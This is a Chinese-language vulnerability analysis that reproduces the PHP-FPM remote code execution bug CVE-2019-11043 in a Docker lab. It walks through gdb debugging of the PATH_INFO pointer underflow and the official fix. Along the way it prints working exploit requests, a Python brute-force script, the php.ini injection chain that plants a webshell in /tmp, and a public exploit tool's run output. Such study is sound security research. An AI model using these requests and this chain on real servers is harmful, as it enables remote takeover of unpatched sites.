前言
去年的优秀漏洞,不过那个时候我还在复习考研,所以没来得及学习。现在论文和初试都暂告一段落了,所以来复习学习一番。
环境搭建
漏洞环境
直接使用别人写好的 docker-compose:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose 可以 curl 下载,镜像下载慢可以换个国内镜像源,新建一个 /etc/docker/daemon.json 文件:
{
"registry-mirrors":["https://id1yk9tn.mirror.aliyuncs.com"]
}
gdbserver
因为 pwngdb 和 php-fpm 不在一个环境里,我也不想再弄一个 pwngdb 到镜像里面,所以尝试使用 gdbserver 进行远程调试。
下载 gdb:
wget http://ftp.gnu.org/gnu/gdb/gdb-9.1.tar.gz
php-fpm 调试环境搭建
先开一个 php-fpm 容器,把 /usr/local/etc/php-fpm.conf 复制出来,然后修改配置让 php-fpm 只产生一个子进程,方便我们调试:
process.max = 1
然后修改 docker-compose.yml,把两个文件映射进去,加上 privileged 让我们可以用 gdbserver 调试 php-fpm:
privileged: true
volumes:
- ./www:/var/www/html
- ./php-fpm.conf:/usr/local/etc/php-fpm.conf
- ../gdb-9.1:/gdb-9.1
如果 apt 速度慢也可以自己改源,替换 /etc/apt/sources.list 然后删除 /etc/apt/sources.list.d/buster.list,最后 docker-compose up -d 后台启动。
然后 exec 进入 php-fpm 容器中,安装 ps 用于查看进程 ID:
apt-get install procps
可以看到 php-fpm 只启动了一个处理进程:
root@b5dfbf1c3f4e:/var/www/html# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 08:51 ? 00:00:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
www-data 6 1 0 08:51 ? 00:00:00 php-fpm: pool www
root 7 0 0 08:52 pts/0 00:00:00 bash
root 588 7 0 08:54 pts/0 00:00:00 ps -ef
然后进入 /gdb-9.1/gdb/gdbserver 文件夹下,编译安装:
./configure
make
make install
如果直接远程调试镜像里面原本的 php-fpm,就会因为没有加上调试参数而无法读取到符号表,所以需要重新安装。可以去 GitHub 上面下载源码:https://github.com/php/php-src/tree/PHP-7.2.10
不过好像没有 configure 文件。也可以把 php 镜像跑起来,用官方的脚本把源码拷贝出来:
docker-php-source extract
cd 到 /usr/src/php 目录下,加上调试参数编译安装备断点调试:
./configure --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
make
make install
如果缺什么库(比如 libxml2 )就自己装上就好了,重新安装的 php-fpm 会覆盖原本的程序,不需要其他操作。
漏洞分析
Nginx 正则匹配
存在漏洞的 Nginx 配置如下:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
关注正则匹配部分,按官方的说法就是将 URI 分成 SCRIPT_FILENAME 和 PATH_INFO 两个部分:
而我们如果阅读 Nginx 的源码,可以发现这时用来匹配 URI 的库和 PHP 使用的一样,都是 pcre 库:
主要的切分逻辑在这里:
ngx_regex_exec 到 pcre_exec 的处理如下:
#define ngx_regex_exec(re, s, captures, size) \
pcre_exec(re->code, re->extra, (const char *) (s)->data, (s)->len, 0, 0, \
captures, size)
#define ngx_regex_exec_n "pcre_exec()"
匹配结果会存放在 captures 数组里面,并以此为根据分配到两个变量里面。而横向对比类似的 PHP preg_match 函数,在没有设置多行模式的情况下,加入换行符会让这个正则匹配失败:
也就是说,这种情况下虽然存在 PATH_INFO,但是 Nginx 会将整个 URI 都放进 SCRIPT_FILENAME 里面,而 PATH_INFO 则为空。
PHP-FPM 不当处理 PATH_INFO
接下来我们关注 PHP-FPM 对 PATH_INFO 的处理,定位到 PATH_INFO 处理的 init_request_info 函数,然后远程连接开始调试,在镜像里面执行:
gdbserver :2333 --attach 6
来调试进程 ID 为 6 的进程,然后在主机上启动 gdb,输入:
target remote 172.18.0.2:2333
连接 gdbserver,然后 gdb 就会从远程读取符号表:
为了能看到代码,我们还需要在本地放一份源码,不然就会报错,调试的时候看不到源码:
pwndbg> b init_request_info
Breakpoint 1 at 0x55ac7c0540fa: file /usr/src/php/sapi/fpm/fpm/fpm_main.c, line 1023.
pwndbg> c
Continuing.
Breakpoint 1, init_request_info () at /usr/src/php/sapi/fpm/fpm/fpm_main.c:1023
1023 /usr/src/php/sapi/fpm/fpm/fpm_main.c: 没有那个文件或目录.
把里面的代码拷贝出来就好了:
docker cp cve-2019-11043_php_1:/usr/src/php /usr/src/php
现在就能看到源码了:
定位主要漏洞代码如下:
pt 是脚本文件路径+文件名,ptlen 是 pt 字符串的长度,len 是 URI 除了 query_string 外的部分的长度(来自 script_path_translated ),slen 是文件名后面的部分,env_path_info 则是指向 PATH_INFO 的 char 指针,这里会指向 \x00,pilen 则会为 0。
发个测试包:
GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQ HTTP/1.1
Host: ubuntu.local:8080
User-Agent: Mozilla/5.0
D-Gisos: 8=====================================D
Ebut: mamku tvoyu
此时的变量值如下:
通过将上下文打印成字符串,我们可以发现 php-fpm 的很多全局变量都存储在这里,同时 env_path_info 指向的是一个变量值,其变量名为 PATH_INFO。继续往下看,问题出在这一句代码:
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
env_path_info 的类型是 char*,而对于 C 语言来说,因为这个指针不是 NULL,所以就会是 true。因为 plien 为 0,所以 path_info 实际上指向了 env_path_info 更低地址的地方,一个跟 PATH_INFO 已经无多大关系的其他地址。
再继续往下看,我们会看到这么一句代码:
path_info[0] = 0;
它将 path_info 指向的那 8 位全部置零,置零之前:
pwndbg> x/10xg path_info
0x5627e27e5c07: 0x49444552005f0045 0x4154535f54434552
0x5627e27e5c17: 0x0030303200535554 0x464e495f48544150
0x5627e27e5c27: 0x530030303200004f 0x49465f5450495243
0x5627e27e5c37: 0x2f00454d414e454c 0x2f7777772f726176
0x5627e27e5c47: 0x646e692f6c6d7468 0x502f7068702e7865
置零之后:
pwndbg> x/10xg path_info
0x5627e27e5c07: 0x49444552005f0000 0x4154535f54434552
0x5627e27e5c17: 0x0030303200535554 0x464e495f48544150
0x5627e27e5c27: 0x530030303200004f 0x49465f5450495243
0x5627e27e5c37: 0x2f00454d414e454c 0x2f7777772f726176
0x5627e27e5c47: 0x646e692f6c6d7468 0x502f7068702e7865
可以看到 0x5627e27e5c07 处的 8 位二进制被置零了。那么这个置零有什么用呢?这就涉及到 php 存储这些全局变量的方式了。
在 php 中,逻辑上每个变量都用一个叫做 fcgi_hash_bucket 的结构体进行存储,然后通过指针连接成一个链式结构:
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
在内存中则是这样的:
其中 hash_value 指的是一个由变量名生成并用于验证的哈希,在读取变量的时候需要进行哈希的校验;var 指的是变量名,val 则是变量值;list_next 是指向下一个变量结构体的指针,next 也是连接其他变量结构体的,但是具体不知道干什么用的,不过 _fcgi_hash_bucket 之间的连接关系跟这次漏洞没有关系。
与此同时,还有一个叫做 fcgi_hash_buckets 的结构体,或者说哈希表存储着这些变量结构体:
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
如果哈希表内成员数量超出上限则会创建新的哈希表,不过哈希表的新建与这次漏洞也没有关系。
而在物理上,这些全局变量都存储在一块块内存中,而每一块内存的相关信息则是用一个叫做 fcgi_hash_seg 的结构体进行存储,同样通过指针连接成链式结构:
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
在内存中则是这样的:
$30 = {
pos = 0x5627e27e5d19 "ORIG_SCRIPT_NAME",
end = 0x5627e27e6a18 "",
next = 0x0,
data = "F"
}
pos 和 end 代表这块内存的数据部分的起始和结束,在每次放入变量之后,pos 就会发生变化,用于下次写入,而当这块内存放不下之后,会创建新的内存块:
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len);
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
仔细看代码,会发现它在申请一个堆之后,会将 _fcgi_data_seg 里面的几个成员放在堆的最前面,后面紧接着的就是全局变量的数据,通过调试打印内存可以看到:
也就是说,如果我们调整 GET 请求的数据的长度,让 php 写入 PATH_INFO 的时候长度超出块的上限,我们就可以控制 PATH_INFO 的地址就位于 _fcgi_data_seg 附近,而此时 env_path_info 往低地址偏移后指向 _fcgi_data_seg 内的其他三个指针,就可以其中一字节置零。那么我们要怎么确定能写到这几个指针所需要的长度呢?关注置零之后的写操作,可以看到这个好用的可控写入:
env_path_info = FCGI_PUTENV(request, "PATH_INFO", path_info);
通过在 URI 的 ? 后面不停地加 Q,我们就能覆盖 pos 的高位(比如说第 5 个字节),导致后面的写地址非法而进程崩溃,表现出来就是 Nginx 返回 502。为此我们需要的是 4 字节 + 2 个指针 + PATH_INFO + \x00 一共 30 个字符。 因为 PATH_INFO + \x00 的长度为 10,而判断是否需要新增内存块的方式是:
h->data->pos + str_len + 1 >= h->data->end
而跟 GET 请求数据有关的变量有 query_string 和 request_URI 两个,所以我们可以 5 个 Q 为一组来进行爆破:
# -*- coding:utf8 -*-
import requests
url = "http://192.168.111.128:8080/index.php/PHP%0Ais_the_shittiest_lang.php?"
headers = {
"D-Gisos": "8=====================================D",
"Ebut": "mamku tvoyu"
}
i = 1
while i <= 1950:
response = requests.get(url + "Q" * 5 * i, headers=headers)
print "[+]Testing " + str(i)
if len(response.content) != 11:
print "[!]" + response.content
print "Q" * 5 * i
break
i += 1
我本地跑出来是 359 * 5 个 Q,调试一下可以发现此时 PATH_INFO 上面就是那三个指针,30偏移就会导致崩溃。
那么将指针的一字节置零有什么用呢?我们先来看看 php-fpm 获取全局变量的方式:
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}
也就是说 php-fpm 在读取全局变量的时候,只要变量名长度和 hash 对的上就行,所以我们将 pos 的地址的低位置零之后,php-fpm 则会用我们改写后的地址去写 PATH_INFO,而如果改写后的地址恰好指向某个可控的区域,从而我们可以将 PATH_INFO 变量名和多余的 /index.php/ 等等字符都写在上一个变量的变量值里面,将我们想要的变量名覆盖在这一个变量的变量名上面,把我们想要的数据写在这个变量的变量值里面,php-fpm 就会读取这个伪造变量作为自己的全局变量。
而要达到 RCE 的效果,最好用的自然是 PHP_VALUE,而 php 中正好有一个变量 HTTP_Ebut 满足跟 PHP_VALUE 长度和 hash 都相等这两个条件。
那我们怎么才能让 PATH_INFO 刚好处于这个位置上呢?我们加上 Q,改一下 URI 将偏移加大为 34 用于改写 pos 的低位,继续调试:
/index.php/PHP_VALUE%0Asession.auto_start=1;;;?Q*5*389
结果什么都没发生,一调试才知道,PATH_INFO 上面多了个 REDIRECT_STATUS,所以我们需要改一改 Q 的个数,把它减个数,让 REDIRECT_STATUS 能放在上一个内存块里面,可以调试也可以爆破。同时,为了调整偏移,让 PHP_VALUE 精准覆盖到 HTTP_Ebut 上,我们还需要使用其他变量来调整偏移,上面提到的 D-Gisos 就是为了这个,当然我们也可以自定义一个名字:
GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?Q*N HTTP/1.1
Twings: 8=====================================D
Ebut: ===Twings==
Host: ubuntu.local:8080
然后我们会发现,覆盖的偏移不太符合我们心意:
pwndbg> x/20s request->env->data
0x5627e27e6a90: ">k~\342'V"
0x5627e27e6a97: ""
0x5627e27e6a98: "\250z~\342'V"
0x5627e27e6a9f: ""
0x5627e27e6aa0: "`Z~\342'V"
0x5627e27e6aa7: ""
0x5627e27e6aa8: "PATH_INFO"
0x5627e27e6ab2: ""
0x5627e27e6ab3: "200"
0x5627e27e6ab7: "SCRIPT_FILENAME"
0x5627e27e6ac7: "/var/www/html/index.php/PHP_VALUE\nsession.auto_start=1;;;ORIG_SCRIPT_NAME"
0x5627e27e6b11: "/index.php/PHP_VALUE\nsession.auto_start=1;;;"
0x5627e27e6b3e: "===D"
0x5627e27e6b43: "HTTP_EBUT"
0x5627e27e6b4d: "===Twings=="
0x5627e27e6b59: "HTTP_HOST"
0x5627e27e6b63: "ubuntu.local:8080"
0x5627e27e6b75: "ORIG_PATH_INFO"
0x5627e27e6b84: ""
0x5627e27e6b85: ""
Twings 变量的长度太长了,导致 PHP_VALUE 没有覆盖到,需要慢慢调试长度,Ebut 长度好像不一定要跟 PHP_VALUE 对齐,当然对齐内存里面的数据更好看一些,最后:
wings: A
Ebut: =========Twings========
Host: ubuntu.local:8080
开启 session 成功,再尝试自动包含:
此时哈希表中:
{
hash_value = 2025,
var_len = 9,
var = 0x5627e27e6b1c "PHP_VALUE\nauto_prepend_file=a;;;;",
val_len = 23,
val = 0x5627e27e6b26 "auto_prepend_file=a;;;;",
next = 0x5627e27e4460,
list_next = 0x5627e27e4640
}
当 php-fpm 获取 PHP_VALUE 的时候,就会先通过 PHP_VALUE 这个字符串计算出 hash 为 2025,然后对比对应 _fcgi_hash_bucket 结构体中的 hash_value 和 var_len,最后取出 val 作为 PHP_VALUE 的值。
那么要怎么 RCE 呢?因为 php-fpm 是按 worker 进程来调度的,所以只要进程不崩溃就能保存之前的 ini 设置,比如上图就能看到之前开启的 session.auto_start。我们就可以通过连续发包,将达成 RCE 需要的配置都写进去,比如 POC 的做法:
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
通过开启错误记录日志,把 webshell 写到 tmp 目录下,再通过 auto_prepend_file 自动包含 getshell。
漏洞复现
可以自己调试爆破,也可以直接装个工具来测试:
go get github.com/neex/phuip-fpizdam
网速太慢下载不下来,所以自己去 GitHub 上面下载了再来安装,结果它还要其他两个项目才能跑起来。
跑了一下,是可以打通的:
root@409d6e951a2f:/go/src# phuip-fpizdam http://172.17.0.1:8080/index.php
2020/03/19 12:27:52 Base status code is 200
2020/03/19 12:27:52 Status code 502 for qsl=1800, adding as a candidate
2020/03/19 12:27:52 The target is probably vulnerable. Possible QSLs: [1790 1795 1800]
2020/03/19 12:27:53 Attack params found: --qsl 1795 --pisos 247 --skip-detect
2020/03/19 12:27:53 Trying to set "session.auto_start=0"...
2020/03/19 12:27:53 Detect() returned attack params: --qsl 1795 --pisos 247 --skip-detect <-- REMEMBER THIS
2020/03/19 12:27:53 Performing attack using php.ini settings...
2020/03/19 12:27:53 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2020/03/19 12:27:53 Trying to cleanup /tmp/a...
2020/03/19 12:27:53 Done!
可以抓个包来看看:
tcpdump -i docker0 port 8080 -w attack.pcap
第一步,5 个一组爆破 Q 个数来确定改写 pos 需要的偏移:
第二步的 SOSAT 部分用来检测响应,判断配置是否已经开启,以免影响后面爆破偏移。
第三步,给 HTTP 头里面的 D-Pisos 一个个加 = 爆破正确覆盖 HTTP_Ebut 所需要的偏移:
如果检测到 HTTP 响应中带有 set-cookie,说明覆盖成功,可以继续写入其他配置 getshell。
漏洞修复
官方修复如下:
path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
加了个长度判断,现在不能往低地址偏移了。
参考文章: